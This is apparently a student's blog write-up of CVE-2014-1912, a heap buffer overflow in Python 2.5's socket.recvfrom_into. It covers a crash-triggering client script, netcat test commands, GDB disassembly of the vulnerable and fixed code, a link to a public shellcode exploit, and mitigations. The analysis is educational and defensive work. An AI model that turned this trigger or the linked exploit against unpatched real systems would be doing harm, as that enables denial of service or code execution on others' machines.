In this post I discuss a buffer-overflow that exist in older versions of both Python 2 and 3. This overflow can be exploited remotely.

The overflow could be exploited to cause a simple crash or execute a remote shell code by injecting into the running Python process. This bug is still relevant since a lot of systems may continue to run dated and unpatched versions of Python making the system vulnerable to attacks.

The blog post is based on one of my favorite assignments for my Masters. For this assignment we were asked to search for an already reported vulnerability in an open sourced project and then study and exploit it. I chose “CVE-2014-1912 – Buffer Overflow in the socket module of Python” and analyzed the issue as a block-box by writing an exploit as a python script, then took a close look at the C code that Python is written in, and finally looked at the built assembly of the vulnerable code. The analysis was done on Python 2 source (built Python from source) and used simple GDB to debug the security flaw.

CVE-2014-1912 – Buffer Overflow in the socket module of Python

Impact from NVD website:

CVSS Severity (version 2.0):

CVSS v2 Base Score: 7.5 (HIGH)

Impact Subscore: 6.4

Exploitability Subscore: 10.0

CVSS Version 2 Metrics:

Access Vector: Network exploitable

Access Complexity: Low

Authentication: Not required to exploit

Impact Type: Allows unauthorized disclosure of information; Allows unauthorized modification; Allows disruption of service

Defect opened with Python

#20246 – bugs.python.org/20246

Overview from the NVD website

Buffer overflow in the socket.recvfrom_into function in Modules/socketmodule.c in Python 2.5 before 2.7.7, 3.x before 3.3.4, and 3.4.x before 3.4rc1 allows remote attackers to execute arbitrary code via a crafted string.

Issue Details

This issue as described above affects both Python 2 and 3. Note that Python 2 and 3 and different and are not completely compatible with each other. Python 2 is considered legacy – refer to https://wiki.python.org/moin/Python2orPython3 for more details.

For this assignment I have chosen to work with Python 2 – so for this exercise I am working with Python 2.4.4 (before defect introduction), 2.5 (defect introduced), 2.7.7 (defect resolved).

For building the application the optimization was turned to OFF (zero) (-O0) and ensured that the debug flag was on (-g). The Makefile was accordingly modified,

OPT= -DNDEBUG -g -O0 -Wall -Wstrict-prototypes

The Python interpreter is majorly written in C. For this exercise there are several layers of indirection – The Python Script is interpreted by the “python” interpreter. The interpreter is written in C as stated above. This Interpreter’s program is compiled into platform specific binary using a C-compiler like gcc on Linux. The compiled code contains machine instructions which can be studied using a debugger in its assembly form using GDB.

The Buffer-Overflow in question is caused when a socket program written in Python uses “recvfrom_into” method to read data from a socket which is larger than the size of the buffer in which it is trying to read into. This is due to a missing check in the underlying C program in the interpreter in Modules/socketmodule.c. The C program method where the corresponding check is missing is sock_recvfrom_into. This method as a whole was introduced in Python 2.5 and hence versions prior to 2.5 do not have this vulnerability.

Once the defect was identified the a simple validation (bounds check before assignment) was used the fix the issue.

Note there are quite a few changes, but only one “else if” check that raises an exception is related to this issue.

} else if (recvlen > buflen) { PyErr_SetString(PyExc_ValueError, "nbytes is greater than the length of the buffer"); goto error;

Interesting to note that the absence of the simple check above would result in a buffer-overflow vulnerability with an Exploitability Subscore 10.0!

Additionally it is important to note that the Unit Test Case was insufficient to catch this issue in 2.5 – an additional Unit Test Case added in 2.7.7 ensure that this defect is fixed.

def testRecvFromIntoSmallBuffer(self): # See issue #20246. buf = bytearray(8) self.assertRaises(ValueError, self.cli_conn.recvfrom_into, buf, 1024) def _testRecvFromIntoSmallBuffer(self): with test_support.check_py3k_warnings(): buf = buffer(MSG*2048) self.serv_conn.send(buf)

Again as we can see the test case was overall less than 10 lines to have caught the issue.

What was going through the Developer’s mind?

There are 3 sets of developers involved here (at least)

The Python Interpreter Developer – Writes C Code for the interpreter and it’s Modules like the socket module. The Python Interpreter Automation-Tester – Also on the Python Open Source Project team who was writing test cases using Python Script – that can run in an automated fashion on the interpreter to test various features of the interpreter. The Python-User/Developer – A developer who may/is not involved with the Open Sourced project but uses the interpreter for his day-to-day scripting/development activities.

Both, the Python Interpreter Developer and the Python Interpreter Automation-Tester seem to have ignored a possible failure condition and missed a bounds check in validation and test case. The Python-User/Developer who identified the issue possibly also expected the Interpreter to take care of the bounds check. This assumption or missed condition manifested in a segmentation fault. Leading to the Python-User/Developer filing the defect.

Verification of the issue

For the purpose of verifying the issue I wrote a simple Socket Client in Python. This client used the defective method to read a stream of bytes from the server. Then I executed a netcat in listen mode (server mode) to which my python client connected.

The Client code

import socket import array #The server Host and Port to connect to. HOST = '127.0.0.1' PORT = 1234 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) #Define a buffer of size 8. buf = array.array('c', 'x'*8) #The alternative - bytearray(8) - bytearray was introduced in 2.6 and hence won't work with 2.5. #Try reading 1024 bytes in a buffer of size 8. s.recvfrom_into(buf, 1024) #Close the socket. s.close() #Print what was received from the server. print 'Received from Server: ', buf

The Server (netcat)

nc -l -vvvv 1234

Alternatively netcat could be run to dump a large chunk of data to the client that connects to it, which I used in my negative testing,

Server dumping large data

cat largeDataFile.txt | nc -l -vvvv 1234

I ran this client on both Python 2.7.7 and Python 2.5.

Examples of output,

(Note the largeDataFile.txt file has ~12000 characters which is one large sequence of 0-9 repeatedly ~1200 times without any white space characters except at the end – 01234567890123456789…).

Test-1 Server sends 8 characters or less – Python 2.5 based client.

Test-1.1 Less than 8 characters

bash-4.1$ printf “Yazad” | nc -l -vvvvv 1234

Connection from 127.0.0.1 port 1234 [tcp/search-agent] accepted

bash-4.1$ ./Python-2.5/python ./scripts/exploit/simpleSocketClient.py

Received from Server: array(‘c’, ‘Yazadxxx’)

(Notice the trailing x’s – the buffer was initialized with all (8) x’s).

Test-1.2 Exactly 8 characters

bash-4.1$ printf “Yazad123” | nc -l -vvvvv 1234

Connection from 127.0.0.1 port 1234 [tcp/search-agent] accepted

bash-4.1$ ./Python-2.5/python ./scripts/exploit/simpleSocketClient.py

Received from Server: array(‘c’, ‘Yazad123’)

Test-2 Server sends large number of characters (larger than the buffer on client) – Python 2.5 based client.

Server:

cat largeDataFile.txt | nc -l -vvvv 1234

Client:

bash-4.1$ ./Python-2.5/python ./scripts/exploit/simpleSocketClient.py

Received from Server: array(‘c’, ‘01234567’)

Segmentation fault (core dumped)

As we can see the Python interpreter crashed with a segmentation fault since the buffer is of size 8 but the data being pushed in is the first 1024 characters of the largeDataFile.txt.

Test-3 Server sends 8 characters or less – Python 2.7.7 based client.

Test-3.1 – Try running any positive case

(Note that the test case does not work at all when we try to read in more than the buffer size even when the server actually sends 8 or less characters. The code has to be changed to accommodate this test case and make the socket read at most 8 bytes; see also Test-4).

Test-3.2 Less than 8 characters (post code change).

bash-4.1$ printf “Yazad” | nc -l -vvvvv 1234

Connection from 127.0.0.1 port 1234 [tcp/search-agent] accepted

bash-4.1$ ./Python-2.7.7/python ./scripts/exploit/simpleSocketClient.py

Received from Server: array(‘c’, ‘Yazadxxx’)

Test-3.3 Exactly 8 characters (post code change)

bash-4.1$ printf “Yazad123” | nc -l -vvvvv 1234

Connection from 127.0.0.1 port 1234 [tcp/search-agent] accepted

bash-4.1$ ./Python-2.7.7/python ./scripts/exploit/simpleSocketClient.py

Received from Server: array(‘c’, ‘Yazad123’)

Test-4 Server sends large number of characters (larger than the buffer on client) – Python 2.7.7 based client.

Test-4.1 (Before Code change)

cat largeDataFile.txt | nc -l -vvvv 1234

bash-4.1$ ./Python-2.7.7/python ./scripts/exploit/simpleSocketClient.py

Traceback (most recent call last):

File “./scripts/exploit/simpleSocketClient.py”, line 16, in <module>

s.recvfrom_into(buf, 1024)

ValueError: nbytes is greater than the length of the buffer



As we can see the fix in effect – there is no segmentation fault – the bounds are checked and an appropriate exception is raised “nbytes is greater than the length of the buffer”, also refer to Test-3.1.

Test-4.2 (Post Code change)

bash-4.1$ cat ./scripts/exploit/largeDataFile.txt | nc -l -vvvvv 1234

Connection from 127.0.0.1 port 1234 [tcp/search-agent] accepted

bash-4.1$ ./Python-2.7.7/python ./scripts/exploit/simpleSocketClient.py

Received from Server: array(‘c’, ‘01234567’)



(Note that there is no crash – the first 8 bytes of the first 1024 bytes sent by the server are read and the rest is ignored, there is no crash or error).

Understanding the issue code in Python 2.5 (and the Hacker’s view)

The line of code responsible for the vulnerability is the recvfrom_into method of the Python socket.

On closer observation of the Python interpreter code we see the method recvfrom_into internally maps to C method – sock_recvfrom_into, in Python-2.5/Modules/socketmodule.c see (within PyMethodDef sock_methods[]),

{“recvfrom_into”, (PyCFunction)sock_recvfrom_into, METH_VARARGS | METH_KEYWORDS, recvfrom_into_doc}

Now on studying the sock_recvfrom_into method we see that while the Python Interpreter Developer did check ensure that the buffer was initialized and that the size of the bytes to be read was not less than 0;

if (recvlen < 0) { PyErr_SetString(PyExc_ValueError, “negative buffersize in recv”); return NULL; }

There is also a check to set the number of bytes to read (recvlen) to the size of the buffer (buflen) if the number of bytes to read was set to 0.

if (recvlen == 0) { /* If nbytes was not specified, use the buffer’s length */ recvlen = buflen; }

However there is no check in place to ensure that recvlen be less than or equal to buflen. Because of this missing check an attempt is made my the C program to populate more than the limit of the buffer, causing an overflow.

What the attacker sees.

Here is what an attacker who was running this code in debug mode; as he steps though the disassembled instructions;

I have disassembled the method in question. Note that I have used the disassembled with the /m switch for my code which was compiled with debugging on and optimization turned off.

2539 if (recvlen < 0) {

0x001153e6 <+120>: mov eax,DWORD PTR [ebp-0x10]

0x001153e9 <+123>: test eax,eax

0x001153eb <+125>: jns 0x115411 <sock_recvfrom_into+163>

… 2544 if (recvlen == 0) {

0x00115411 <+163>: mov eax,DWORD PTR [ebp-0x10]

0x00115414 <+166>: test eax,eax

0x00115416 <+168>: jne 0x11541e <sock_recvfrom_into+176>

The attacker would notice by looking at the registers and printing their values that the recvlen (the length passed in as input) is never compared with actual size of the buffer.

By printing the values of the registers (when stepping in on at the appropriate instruction) the attacker would be able to get a closer look at the values being passed in against the values in the registers by using the examine and print commands, examples,

(gdb) print $eax

$7 = 1024

To step through individual assembly instructions the attacker could use the stepi command in gdb.

Understanding the code fix Python 2.7.7

The python socket code remains the same however in this version there is an additional defensive check added, in the interpreter’s socket module. The disassembled version of the code looks like the following,

2744 } else if (recvlen > buflen) {

0x0011612e <+172>: mov eax,DWORD PTR [ebp-0x14]

0x00116131 <+175>: cmp eax,DWORD PTR [ebp-0xc]

0x00116134 <+178>: jle 0x116152 <sock_recvfrom_into+208> 2745 PyErr_SetString(PyExc_ValueError,

0x00116136 <+180>: mov eax,DWORD PTR [ebx-0x38]

0x0011613c <+186>: mov eax,DWORD PTR [eax]

0x0011613e <+188>: lea edx,[ebx-0x2864]

0x00116144 <+194>: mov DWORD PTR [esp+0x4],edx

0x00116148 <+198>: mov DWORD PTR [esp],eax

0x0011614b <+201>: call 0x1134b4 <PyErr_SetString@plt>2746 “nbytes is greater than the length of the buffer”);

2747 goto error;

0x00116150 <+206>: jmp 0x1161ac <sock_recvfrom_into+298>

As we can see – unlike the case of Python 2.5 in this version, the recvlen (number of bytes to read) is actually compared with buflen (size of the buffer). If recvlen is greater than the buflen an error is raised and the program exits (relatively) gracefully with an appropriate error message (at least for a Python developer if not an end user of a Python application).

(gdb) continue

Continuing.

Traceback (most recent call last):

File “./scripts/exploit/simpleSocketClient.py”, line 16, in <module>

s.recvfrom_into(buf, 1024)

ValueError: nbytes is greater than the length of the buffer Program exited with code 01.

Understanding the crash

A quick look at the memory allocation of Python is helpful here for this discussion (taken from the documentation in obmalloc.c file from the Python 2.5 source code).

When we revisit Test-2 we notice that Python script did complete post which a segmentation fault was thrown. Intermittently, the register values being pointed to especially the esp register was not corrupted.

(gdb) x/8xw $ebp

0xbffff268: 0xbffff298 0x08109802 0xb7faf800 0xb7f97c6c

0xbffff278: 0x00000000 0x080833e3 0xb7f97ecc 0x0011536e … (gdb) finish

Run till exit from #0 0x0805700e in Py_Main (argc=2, argv=0xbffff7b4) at Modules/main.c:496 Program received signal SIGSEGV, Segmentation fault.

0x080e65f9 in visit_decref (op=0x81a10e0, data=0x0) at Modules/gcmodule.c:270

270 if (PyObject_IS_GC(op)) {

(gdb) x/8xw $ebp

0xbffff4d8: 0xbffff518 0x080804db 0x081a10e0 0x00000000

0xbffff4e8: 0xbffff500 0xbffff4fc 0x00000000 0x00000000

In fact the segmentation fault points to visit_decref with one of the parameters pointing to an address space “0x81a10e0”. To understand this, I backtracked the execution,

(gdb) bt

#0 0x080e65f9 in visit_decref (op=0x81a10e0, data=0x0) at Modules/gcmodule.c:270

#1 0x080804db in dict_traverse (op=0xb7f6868c, visit=0x80e65ed <visit_decref>, arg=0x0) at Objects/dictobject.c:1825

#2 0x080e6693 in subtract_refs (containers=0x8151d48) at Modules/gcmodule.c:295

#3 0x080e6fa8 in collect (generation=2) at Modules/gcmodule.c:790

#4 0x080e7958 in PyGC_Collect () at Modules/gcmodule.c:1264

#5 0x080db37d in Py_Finalize () at Python/pythonrun.c:381

#6 0x080570a7 in Py_Main (argc=2, argv=0xbffff7b4) at Modules/main.c:516

#7 0x0805641f in main (argc=2, argv=0xbffff7b4) at ./Modules/python.c:23

Turns out visit_decref, is an method in Python’s garbage collection module (see Modules/gcmodule.c:295 in bt output above). Garbage Collection is used on interpreters like JVM and Python to clean up memory allocated on the heap. Since the array used as the buffer for the Python script was allocated on the Heap not on the stack – it was essentially a Heap-Buffer-Overflow and NOT a Stack-Overflow.

To understand the crash I further investigated the memory location 0x81a10e0 (the address passed into that GC that caused a crash) and the memory surrounding it,

Before the overflow,

(gdb) x/1xw *(0x81a10e0+4)

0x8142000 <PyString_Type>: 0x00000042



After the overflow,

(gdb) x/s 0x81a10e0+4

0x81a10e4: “01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789”…

(gdb) x/s 0x81a10e0+100 0x81a1144: “67890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345”…

(gdb) x/s 0x81a10e0+1000 0x81a14c8: “67890123 of the preceding RE.

*?,+?,?? Non-greedy versions of the previous three special characters.

{m,n} Matches from m to n repetitions of the preceding RE.

{m,n}? Non-greedy versi”… (gdb) x/s 0x81a10e0+1020

0x81a14dc: “eding RE.

*?,+?,?? Non-greedy versions of the previous three special characters.

{m,n} Matches from m to n repetitions of the preceding RE.

{m,n}? Non-greedy version of the above.

“…



In the above outputs we notice that the before the overflow this memory location was utilized by some Object – after the point in the code where the overflow was expected a part of the numbers in the test file largeDataFile.txt have proliferated – and they continue – and at one point we see a string that was not in the largeDataFile.txt file! See output for (gdb) x/s 0x81a10e0+1000 the numbers end and some other legitimate text start!

On performing a quick code search we can see this text possibly comes from Python-2.5/Lib/re.py file which is the “Secret Labs’ Regular Expression Engine” that ships with the Python Interpreter. So what we see here is a Heap Corruption. Coming back to the point of failure – visit_decref which when tries to release memory at 0x81a10e0, fails because the data from largeDataFile.txt corrupted the original object and some more data around it.

While Heap-Buffer-Overflows do pose an additional challenges in terms of changing the flow of the executing code when compared to Stack-Overflow – this attack is still possible.

Also this Heap-Overflow is because the array allocates on the Heap and does not have anything to do with the Socket that overflows (irrespective of where the memory for the buffer is allocated – stack or heap).

Exploitation Example

Exploit-DB has an example that actually sends a shell code as an exploit – http://www.exploit-db.com/exploits/31875/.

Putting this to use of Defensive Security

Some proponents of the defensive security have started using this exploit to write their custom Honey-Pots! One such example has it’s source code available on GitHub – https://github.com/trustedsec/artillery/blob/master/src/honeypot.py.

Possible defenses besides code fix in the interpreter

Assuming that the defect in question was 0-day and a fix was not in sight or a fix was available but upgrading to the new version was not a choice due to technical compatibility or other reasons, there are still some solutions available.

The solutions can be categorized as (some adapted from Computer Security – Principles and Practices; William Stalling),

Compile-Time

Runtime

A. Compile-Time

Since Python is an open-sourced project it is fair to say compiling the Python source is an option. “Stackguard” (available as a GCC Compiler Extension) can be used – which introduces a “canary” below the old stack frame. The function exit code checks for the canary – if the canary has been modified – the program aborts instead of taking hacked routes. This is effective in case of a Stack-Buffer-Overflow.

B. Runtime

Using processors with MMU support to mark memory addresses as “no execute” can be effective in preventing execution of injected code on buffers.

Address space randomization (stack) and Random Dynamic Memory Allocation in malloc() (heap) can make buffer-overflows that rely of exact memory address more difficult to pull through.

Randomization of loading of Standard Library Addresses in memory is similar to the above but protects the standard library.

Guard Pages between Critical memory regions could protect against Buffer-Overflow against Global Variables.

SELinux Profile – Assuming a Python based web server is being used – it would certainly evoke genuine concern in the light of this vulnerability. Some web servers do have SELinux profiles like Apache Web server (assuming mod_python is being used within Apache). While SELinux cannot prevent a buffer-overflow – it can certainly contain its impact – like the WebServer and contained processes can only access say “/var/www/html” and some script directories.

Jails – Can provide rudimentary isolation, however if privileges are escalated it is trivial for the hacker to break out of the Jail.

Least Privileges Policy, ensures that if the system is compromised it does not automatically translate to complete system high-jack! So simple rules like no “w”rite access to “o”thers on any server can go a long way in the face of an attack, in terms of reducing the impact.

Conclusion

To conclude, buffer-overflow remains one of the top attack for decades now, however, what is more challenging is that increasingly new breed of developers who will probably never work with a compiler and would be writing scripts that could cause a buffer-overflow. It is more difficult to understand the gravity of an overflow by a Python, Java or JavaScript developer, compared to a C, or Assembly programmer.

This was paper was an attempt to highlight one of the many in the increasing trend of buffer-overflow bugs being found in interpreters like Python (and Java Virtual Machine) and demonstrate how a supposedly innocent script could cause a memory overflow leading to exposure of an critical attack vector.